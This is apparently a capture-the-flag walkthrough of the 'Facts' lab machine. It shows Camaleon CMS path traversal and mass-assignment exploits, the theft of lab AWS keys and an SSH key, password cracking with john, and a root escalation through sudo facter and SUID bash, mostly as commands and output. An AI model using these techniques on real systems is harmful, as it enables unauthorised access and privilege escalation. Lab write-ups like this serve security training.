Difficulty: Easy
OS: Linux
Reconnaissance
Nmap
nmap -sCV -A -p- <MACHINE-IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp open http nginx 1.26.3 (Ubuntu)
Two open ports — SSH and nginx on port 80.
/etc/hosts
echo "<MACHINE-IP> facts.htb" >> /etc/hosts
Web Enumeration
Visiting port 80 presents a Camaleon CMS trivia site. The /admin path redirects to /admin/login, which has self-registration enabled.
feroxbuster -u http://facts.htb/ -w /usr/share/wordlists/dirb/big.txt -d 3 -C 403,404
302 http://facts.htb/admin => http://facts.htb/admin/login
200 http://facts.htb/ajax
Navigating to /admin/login and clicking "Create an account" creates a working low-privilege CMS account. After logging in, the footer reveals Camaleon CMS Version 2.9.0.
Initial Access — LFI via CVE-2024-46987
Camaleon CMS < 2.9.1 is vulnerable to a path traversal in the download_private_file media endpoint. Any authenticated user, regardless of role, can read arbitrary files from the server filesystem.
GET http://facts.htb/admin/media/download_private_file?file=../../../etc/passwd
This returns the contents of /etc/passwd, confirming arbitrary file read. Relevant system users:
root:x:0:0:root:/root:/bin/bash
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
Foothold — CMS Admin via CVE-2025-2304 (Mass Assignment)
Camaleon CMS < 2.9.1 is also vulnerable to mass assignment in the updated_ajax password-change endpoint. The controller uses Rails' dangerous permit! method which allows all parameters through without any filtering — including role.
Injecting password[role]=admin into the password change POST request escalates a low-privilege account to full CMS admin.
Exploit script (exploit.py):
update_data = {
"_method": "patch",
"authenticity_token": auth_token,
"password[password]": password,
"password[password_confirmation]": password,
"password[role]": "admin",
}
session.post(submit_url, data=update_data)
Running the exploit:
python3 exploit.py -t http://facts.htb -u test -p test
[+] Login successful
[+] Got profile page
[i] Version 2.9.0 — appears vulnerable (< 2.9.1)
[+] Got CSRF token: E9u8O-QxqReFdXp6FbaD...
[*] Sending privilege escalation request to http://facts.htb/admin/users/5/updated_ajax ...
[+] Done! Role should now be 'admin' — try refreshing your session.
After refreshing the session, the full admin navigation is available including Settings, Users, Plugins, and Appearance.
AWS S3 Credential Leak
Navigating to Settings → General Site → Filesystem Settings exposes AWS S3 credentials stored in plaintext in the CMS configuration:
AWS Access Key ID: AKIA604F64A80C48D2DF
AWS Secret Access Key: /Vb8uEE1VHYg7rcu84gpSnmF9Tb8XoIT020xkWDo
Bucket Name: randomfacts
Region: us-east-1
Endpoint: http://localhost:54321
The endpoint points to a LocalStack instance running locally on the target. Since port 54321 is bound to localhost on the box, it is accessed via facts.htb:54321 after adding the host entry. Configuring the AWS CLI with the leaked credentials:
aws configure
# AWS Access Key ID: AKIA604F64A80C48D2DF
# AWS Secret Access Key: /Vb8uEE1VHYg7rcu84gpSnmF9Tb8XoIT020xkWDo
# Default region name: us-east-1
# Default output format: json
Listing all buckets:
aws --endpoint-url http://facts.htb:54321 s3 ls
2025-09-11 internal
2025-09-11 randomfacts
A non-public internal bucket exists alongside the expected randomfacts bucket. Listing it recursively:
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal --recursive
2026-06-10 .ssh/authorized_keys
2026-06-10 .ssh/id_ed25519
An SSH private key is present. Downloading it:
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 .
chmod 600 id_ed25519
SSH — Cracking the Key Passphrase
Attempting to use the key immediately prompts for a passphrase, confirming it is encrypted:
ssh-keygen -y -f id_ed25519
# Enter passphrase for "id_ed25519":
Converting to john format and cracking against rockyou:
ssh2john id_ed25519 > hash.john
john hash.john --wordlist=/usr/share/wordlists/rockyou.txt
dragonballz (id_ed25519)
1g 0:00:02:42 DONE
Passphrase cracked: dragonballz
Connecting as trivia (identified earlier via the LFI on /etc/passwd):
ssh -i id_ed25519 trivia@<MACHINE-IP>
# Enter passphrase for key 'id_ed25519': dragonballz
trivia@facts:~$ id
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
User Flag
trivia@facts:~$ cat /home/william/user.txt
HTB{REDACTED}
Privilege Escalation to Root — Facter Custom Module
Checking sudo permissions for the current user:
sudo -l
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
facter is a Puppet system facts tool that supports loading custom Ruby fact modules via the --custom-dir flag. Running it under sudo with a controlled directory allows arbitrary Ruby execution as root.
Creating a malicious fact module that sets the SUID bit on /usr/bin/bash:
echo 'Facter.add("evil") {setcode { `chmod +s /usr/bin/bash` } }' > evil.rb
Running facter with the custom module:
sudo /usr/bin/facter --custom-dir ~ evil
Verifying the SUID bit was set:
ls -la /usr/bin/bash
# -rwsr-sr-x 1 root root ... /usr/bin/bash
Spawning a root shell with bash's -p flag (preserve effective UID):
bash -p
bash-5.2# whoami
root
Root Flag
bash-5.2# cat /root/root.txt
HTB{REDACTED}
Credentials Summary
| User | Credential | Source |
|---|---|---|
| trivia (CMS) | test / test | Self-registration |
| trivia (SSH) | id_ed25519 / dragonballz | Internal S3 bucket + john |
| root | — | facter sudo SUID trick |
Key Vulnerabilities
| # | Vulnerability | Impact |
|---|---|---|
| 1 | CVE-2024-46987 — Camaleon CMS path traversal in download_private_file
|
Arbitrary file read as web user |
| 2 | CVE-2025-2304 — Camaleon CMS mass assignment via permit! in updated_ajax
|
Role escalation to CMS admin |
| 3 | AWS S3 credentials exposed in CMS filesystem settings | Access to internal LocalStack bucket |
| 4 | SSH private key stored in internal S3 bucket with weak passphrase | Shell as trivia
|
| 5 |
sudo /usr/bin/facter --custom-dir (NOPASSWD) with controllable Ruby |
Root via SUID bash |
Attack Chain
Self-Registration → Low-Privilege CMS Account
→ CVE-2024-46987 LFI → /etc/passwd (user enumeration)
→ CVE-2025-2304 Mass Assignment → CMS Admin Role
→ Settings Panel → AWS S3 Credentials (plaintext)
→ LocalStack S3 → internal bucket → id_ed25519
→ john + rockyou → passphrase: dragonballz
→ SSH as trivia
→ sudo facter --custom-dir (NOPASSWD)
→ Custom Ruby Fact → chmod +s /usr/bin/bash
→ bash -p → root
Top comments (0)